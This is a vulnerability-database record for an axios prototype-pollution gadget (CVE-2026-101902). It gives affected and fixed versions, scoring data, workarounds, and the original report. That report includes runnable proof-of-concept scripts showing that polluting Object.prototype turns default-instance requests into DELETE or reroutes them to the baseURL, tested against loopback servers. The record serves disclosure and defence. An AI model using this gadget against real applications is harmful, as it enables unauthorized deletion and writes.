{"schema":"threatline.record/2","record":{"id":"CVE-2026-101902","aliases":["GHSA-9fr6-4gfg-395g"],"summary":"Axios: Prototype-Pollution Gadget in the Default Instance Allows Inherited Object.prototype.method to Override HTTP Method","details":"## Summary\n\nAxios default-instance requests that omit an explicit method can read an inherited `method` value from `Object.prototype`. If another vulnerability in the same process pollutes `Object.prototype.method`, calls such as `axios.request({ url })` and `axios({ url })` can send a state-changing HTTP method instead of the expected default `GET`.\n\nAxios does not create the prototype pollution source. This is a read-side gadget in axios request dispatch.\n\n## Impact\n\nIn an affected application with a separate prototype-pollution primitive, an attacker can change axios default-instance requests that omit `method` from `GET` to methods such as `DELETE`, `POST`, `PUT`, or `PATCH`. The practical impact depends on the target endpoint and can include unintended writes, deletion, or other state changes.\n\nMethod aliases such as `axios.get(url)` and requests with an explicit own `method` are not affected by the confirmed method path.\n\n## Affected Functionality\n\nAffected:\n\n- Default axios instance calls: `axios.request({ url })`.\n- Callable shorthand: `axios({ url })`.\n- Requests where no own `config.method` is provided.\n\nNot affected in the confirmed method PoC:\n\n- `axios.get(url)` and other method aliases.\n- `axios.request({ url, method: 'GET' })`.\n- `axios.create().request({ url })` when the created instance defaults are produced by current `mergeConfig()` and do not inherit from `Object.prototype`.\n\n## Technical Details\n\n`lib/core/Axios.js` sets the request method with:\n\n```js\nconfig.method = (config.method || this.defaults.method || 'get').toLowerCase();\n```\n\n`mergeConfig()` now returns a null-prototype request config, so `config.method` is safe from `Object.prototype`. However, the default axios instance stores the module defaults object as `this.defaults`, and that defaults object is a normal object. If `Object.prototype.method` exists, `this.defaults.method` resolves to the polluted inherited value.\n\nLocal verification on axios `1.18.1` showed a default-instance `axios.request({ url })` request reaching a loopback server as `DELETE` after `Object.prototype.method = 'DELETE'`.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype.method = 'DELETE';\ntry {\n  await axios.request({ url: 'http://127.0.0.1:<port>/resource' });\n} finally {\n  delete Object.prototype.method;\n}\n```\n\nExpected safe behavior is a `GET` request. Current affected behavior sends `DELETE` on the default instance when no method is provided.\n\n## Workarounds\n\nUse explicit method aliases such as `axios.get()` or set an own `method` on request configs. Avoid default-instance shorthand for requests in processes where prototype pollution is suspected or possible.\n\n<details>\n  <summary><h3>Original report</h3></summary>\n  \n### Summary\n\nAxios `1.17.0` contains a read-side prototype-pollution gadget in the default Axios instance. If another vulnerability in the same Node.js process pollutes `Object.prototype.method`, default-instance calls such as `axios.request({ url })` and `axios({ url })` can be forced to use an attacker-controlled HTTP method, such as `DELETE`, instead of the expected default `GET`.\n\nAxios does not create the prototype pollution by itself. The issue is that Axios reads fallback values from `this.defaults` without an own-property guard, allowing inherited values from `Object.prototype` to influence request behavior.\n\nThis should be treated as a prototype-pollution gadget, not as a standalone prototype-pollution source. In other words, Axios is not the component that lets the attacker write to `Object.prototype`; Axios is the component that becomes dangerous after `Object.prototype` has already been polluted by another bug in the same process.\n\n### Details\n\nThe vulnerable fallback read is in `lib/core/Axios.js`:\n\n```js\n// Set config.allowAbsoluteUrls\nif (config.allowAbsoluteUrls !== undefined) {\n  // do nothing\n} else if (this.defaults.allowAbsoluteUrls !== undefined) {\n  config.allowAbsoluteUrls = this.defaults.allowAbsoluteUrls;\n} else {\n  config.allowAbsoluteUrls = true;\n}\n\n// Set config.method\nconfig.method = (config.method || this.defaults.method || 'get').toLowerCase();\n```\n\nThe merged request `config` is created as a null-prototype object in `lib/core/mergeConfig.js`:\n\n```js\nconst config = Object.create(null);\n```\n\nTherefore, when the caller does not provide `config.method`, the fallback becomes:\n\n```js\nthis.defaults.method\n```\n\nThe default Axios instance uses the module defaults object. In the tested version, that defaults object is affected by inherited properties from `Object.prototype`. If `Object.prototype.method` is polluted, `this.defaults.method` resolves to that inherited value and Axios uses it as the request method.\n\nThe same unsafe inherited-property pattern also affects `this.defaults.allowAbsoluteUrls`, which can change how absolute URLs are combined with `baseURL`.\n\n### Proof of Concept\n\n#### Access and Attack Conditions\n\nNo admin access is required for Axios itself. This is a library-level gadget.\n\nThe attacker must have an existing way to pollute `Object.prototype` in the same Node.js process, for example through a separate prototype-pollution vulnerability in another dependency or application input path. Axios is the gadget that turns that pollution into dangerous HTTP request behavior.\n\nRequired condition:\n\n```text\nSome other bug or unsafe merge path in the application must allow Object.prototype pollution.\n```\n\nWhat Axios contributes:\n\n```text\nAxios reads inherited Object.prototype.method through this.defaults.method and uses it as the HTTP method fallback.\n```\n\nWhat Axios does not do:\n\n```text\nAxios does not create Object.prototype pollution by itself.\n```\n\nAffected usage:\n\n```js\naxios.request({ url });\naxios({ url });\n```\n\nNot affected in the confirmed PoC:\n\n```js\naxios.get(url);\naxios.request({ url, method: \"GET\" });\naxios.create().request({ url });\n```\n\n#### Reproduction Steps\n\n1. Create a clean test directory and install Axios `1.17.0`:\n\n```powershell\nmkdir axios-validation\ncd axios-validation\nnpm init -y\nnpm install axios@1.17.0 --no-audit --no-fund\n```\n\n2. Save the method override PoC below as:\n\n```text\nvalidate-prototype-method-gadget.mjs\n```\n\n3. Run the PoC:\n\n```powershell\nnode validate-prototype-method-gadget.mjs\n```\n\n4. Confirm that the output shows:\n\n```text\ndefaultRequestMethod=DELETE\ndefaultShorthandMethod=DELETE\ngetAliasMethod=GET\nexplicitGetMethod=GET\ncreatedInstanceMethod=GET\nRESULT: CONFIRMED\n```\n\n5. This proves that after `Object.prototype.method = \"DELETE\"`, default-instance calls that omit an explicit method are sent as `DELETE`.\n\n#### What the Method PoC Script Does\n\nThe PoC starts a temporary local HTTP server for each Axios call and records the HTTP method received by that server. It then simulates an already-existing prototype-pollution condition by setting:\n\n```js\nObject.prototype.method = \"DELETE\";\n```\n\nWhile that pollution is active, the script sends five Axios requests:\n\n```js\naxios.request({ url });                 // expected vulnerable path\naxios({ url });                         // expected vulnerable shorthand path\naxios.get(url);                         // expected safe alias path\naxios.request({ url, method: \"GET\" });  // expected safe explicit-method path\naxios.create().request({ url });        // expected safe isolated-instance path\n```\n\nThe script then deletes the polluted property:\n\n```js\ndelete Object.prototype.method;\n```\n\nFinally, it prints the method observed by the local server for each request. The vulnerable behavior is confirmed when the default Axios instance sends `DELETE` for `axios.request({ url })` and `axios({ url })`, while the safe comparison paths still send `GET`.\n\n#### Method Override PoC\n\nCreate `validate-prototype-method-gadget.mjs`:\n\n```js\nimport http from \"node:http\";\nimport axios from \"axios\";\n\nasync function listen(server) {\n  await new Promise((resolve) => server.listen(0, \"127.0.0.1\", resolve));\n  return server.address().port;\n}\n\nasync function runRequest(label, requestFn) {\n  const hits = [];\n  const server = http.createServer((req, res) => {\n    hits.push({\n      method: req.method,\n      url: req.url,\n    });\n    res.writeHead(200, { \"content-type\": \"application/json\" });\n    res.end(JSON.stringify({ ok: true }));\n  });\n\n  const port = await listen(server);\n  const url = `http://127.0.0.1:${port}/${label}`;\n\n  let status = \"completed\";\n  let error = \"\";\n  try {\n    await requestFn(url);\n  } catch (err) {\n    status = \"error\";\n    error = err?.message || String(err);\n  }\n\n  server.close();\n  return { label, status, error, hits };\n}\n\nconst results = [];\n\nObject.prototype.method = \"DELETE\";\ntry {\n  results.push(await runRequest(\"default-request-no-method\", (url) => axios.request({ url })));\n  results.push(await runRequest(\"default-shorthand-no-method\", (url) => axios({ url })));\n  results.push(await runRequest(\"default-get-alias\", (url) => axios.get(url)));\n  results.push(await runRequest(\"default-request-explicit-get\", (url) => axios.request({ url, method: \"GET\" })));\n\n  const instance = axios.create();\n  results.push(await runRequest(\"created-instance-request-no-method\", (url) => instance.request({ url })));\n} finally {\n  delete Object.prototype.method;\n}\n\nconst defaultRequestMethod = results.find((r) => r.label === \"default-request-no-method\")?.hits[0]?.method || \"\";\nconst defaultShorthandMethod = results.find((r) => r.label === \"default-shorthand-no-method\")?.hits[0]?.method || \"\";\nconst getAliasMethod = results.find((r) => r.label === \"default-get-alias\")?.hits[0]?.method || \"\";\nconst explicitGetMethod = results.find((r) => r.label === \"default-request-explicit-get\")?.hits[0]?.method || \"\";\nconst createdInstanceMethod = results.find((r) => r.label === \"created-instance-request-no-method\")?.hits[0]?.method || \"\";\n\nconsole.log(`axiosVersion=${axios.VERSION}`);\nconsole.log(`results=${JSON.stringify(results)}`);\nconsole.log(`defaultRequestMethod=${defaultRequestMethod}`);\nconsole.log(`defaultShorthandMethod=${defaultShorthandMethod}`);\nconsole.log(`getAliasMethod=${getAliasMethod}`);\nconsole.log(`explicitGetMethod=${explicitGetMethod}`);\nconsole.log(`createdInstanceMethod=${createdInstanceMethod}`);\n\nconst confirmed =\n  defaultRequestMethod === \"DELETE\" &&\n  defaultShorthandMethod === \"DELETE\" &&\n  getAliasMethod === \"GET\" &&\n  explicitGetMethod === \"GET\" &&\n  createdInstanceMethod === \"GET\";\n\nconsole.log(confirmed ? \"RESULT: CONFIRMED\" : \"RESULT: NOT CONFIRMED\");\nprocess.exitCode = confirmed ? 0 : 1;\n```\n\nRun:\n\n```powershell\nnode validate-prototype-method-gadget.mjs\n```\n\nObserved result:\n\n```text\naxiosVersion=1.17.0\ndefaultRequestMethod=DELETE\ndefaultShorthandMethod=DELETE\ngetAliasMethod=GET\nexplicitGetMethod=GET\ncreatedInstanceMethod=GET\nRESULT: CONFIRMED\n```\n\nThe local server received:\n\n```text\naxios.request({ url })              -> DELETE\naxios({ url })                      -> DELETE\naxios.get(url)                      -> GET\naxios.request({ url, method:\"GET\" }) -> GET\naxios.create().request({ url })     -> GET\n```\n\nThis confirms that inherited `Object.prototype.method` controls the default method for vulnerable default-instance request paths.\n\n#### Supporting `allowAbsoluteUrls` Gadget Evidence\n\nThe same inherited-property issue affects `allowAbsoluteUrls`.\n\nCreate `validate-prototype-allowabsoluteurls-gadget.mjs`:\n\n```js\nimport http from \"node:http\";\nimport axios from \"axios\";\n\nasync function listen(server) {\n  await new Promise((resolve) => server.listen(0, \"127.0.0.1\", resolve));\n  return server.address().port;\n}\n\nasync function runCase(label, requestFn) {\n  const baseHits = [];\n  const absoluteHits = [];\n\n  const baseServer = http.createServer((req, res) => {\n    baseHits.push({ method: req.method, url: req.url, host: req.headers.host || \"\" });\n    res.end(\"base\");\n  });\n\n  const absoluteServer = http.createServer((req, res) => {\n    absoluteHits.push({ method: req.method, url: req.url, host: req.headers.host || \"\" });\n    res.end(\"absolute\");\n  });\n\n  const basePort = await listen(baseServer);\n  const absolutePort = await listen(absoluteServer);\n\n  try {\n    await requestFn({\n      baseURL: `http://127.0.0.1:${basePort}/api`,\n      url: `http://127.0.0.1:${absolutePort}/absolute-path`,\n    });\n  } catch {}\n\n  baseServer.close();\n  absoluteServer.close();\n\n  return { label, baseHits, absoluteHits };\n}\n\nconst results = [];\n\nresults.push(await runCase(\"baseline-no-pollution\", (config) => axios.request(config)));\n\nObject.prototype.allowAbsoluteUrls = false;\ntry {\n  results.push(await runCase(\"polluted-default-request\", (config) => axios.request(config)));\n  const instance = axios.create();\n  results.push(await runCase(\"polluted-created-instance\", (config) => instance.request(config)));\n} finally {\n  delete Object.prototype.allowAbsoluteUrls;\n}\n\nconsole.log(`axiosVersion=${axios.VERSION}`);\nconsole.log(`results=${JSON.stringify(results)}`);\n```\n\nObserved result:\n\n```text\naxiosVersion=1.17.0\nbaselineUsedAbsolute=true\npollutedDefaultUsedBase=true\npollutedInstanceUsedAbsolute=true\nRESULT: CONFIRMED\n```\n\nWithout pollution, Axios sends the request to the absolute URL. After `Object.prototype.allowAbsoluteUrls = false`, the default Axios instance combines the absolute URL with `baseURL` and sends the request to the base server instead. An instance created with `axios.create()` remains unaffected.\n\n### Impact\n\nThis is a prototype-pollution gadget. It becomes exploitable when an application has any separate prototype-pollution primitive that allows an attacker to set properties on `Object.prototype` in the same Node.js process.\n\nIf such pollution is possible, an attacker can influence Axios default-instance requests that omit an explicit method:\n\n- `axios.request({ url })`\n- `axios({ url })`\n\nThis can turn an expected safe default `GET` request into a state-changing method such as:\n\n- `DELETE`\n- `POST`\n- `PUT`\n- `PATCH`\n\nPotential impact includes unauthorized state-changing requests, deletion of resources, unintended writes, data corruption, or denial of service when the target endpoint treats the HTTP method as security-relevant.\n\nThe issue does not require admin access to Axios itself, but it does require an existing prototype-pollution path in the application. Applications that always use explicit methods, method aliases such as `axios.get()`, or isolated instances created through `axios.create()` are not affected by the confirmed method-override path.\n</details>\n\n---","categories":["Libraries & packages"],"product":"axios","vendor":"axios","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-9fr6-4gfg-395g","source_modified_at":"2026-09-30T15:12:50Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"axios"},"range":">= 0.27.2, < 0.34.0"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-9fr6-4gfg-395g","source_modified_at":"2026-09-30T15:12:50Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"axios"},"range":">= 1.0.0, < 1.20.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-101902","source_modified_at":"2026-09-28T19:30:19.510Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"axios","vendor":"axios","versions":[{"version":">= 1.0.0, < 1.20.0","status":"affected"},{"version":">= 0.27.2, < 0.34.0","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-9fr6-4gfg-395g","source_modified_at":"2026-09-30T15:30:03.718390401Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"axios","purl":"pkg:npm/axios"},"ranges":[{"events":[{"introduced":"0.27.2"},{"fixed":"0.34.0"}],"type":"SEMVER"}],"versions":[]},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-9fr6-4gfg-395g","source_modified_at":"2026-09-30T15:30:03.718390401Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"axios","purl":"pkg:npm/axios"},"ranges":[{"events":[{"introduced":"1.0.0"},{"fixed":"1.20.0"}],"type":"SEMVER"}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-9fr6-4gfg-395g","source_modified_at":"2026-09-30T15:12:50Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"axios"},"version":"0.34.0"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-9fr6-4gfg-395g","source_modified_at":"2026-09-30T15:12:50Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"axios"},"version":"1.20.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-9fr6-4gfg-395g","source_modified_at":"2026-09-30T15:30:03.718390401Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"axios","purl":"pkg:npm/axios"},"version":"0.34.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-9fr6-4gfg-395g","source_modified_at":"2026-09-30T15:30:03.718390401Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"axios","purl":"pkg:npm/axios"},"version":"1.20.0"}],"cvss":6.9,"severity":"Medium","kev":{"listed":false},"epss":{"probability":0.00413,"percentile":0.34514,"score_date":"2026-10-23"},"published_at":"2026-09-28T17:22:49.113Z","modified_at":"2026-09-30T15:30:03.718390401Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-9fr6-4gfg-395g","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-09-30T15:12:50Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-101902","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-09-28T19:30:19.510Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-9fr6-4gfg-395g","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-09-30T15:30:03.718390401Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101902","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/axios/axios/security/advisories/GHSA-9fr6-4gfg-395g","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101902","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/axios/axios/pull/11141","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/axios/axios/releases/tag/v0.34.0","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/axios/axios/releases/tag/v1.20.0","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-9fr6-4gfg-395g","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","assessed_at":"2026-09-28T19:30:11.206978Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"product","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-09-30T15:30:03.718390401Z","content_hash":"fc6adb1a877bdfa296a8106e2e0a2811b8efaef84f0392e6e55b5deb59f78e4a"}}
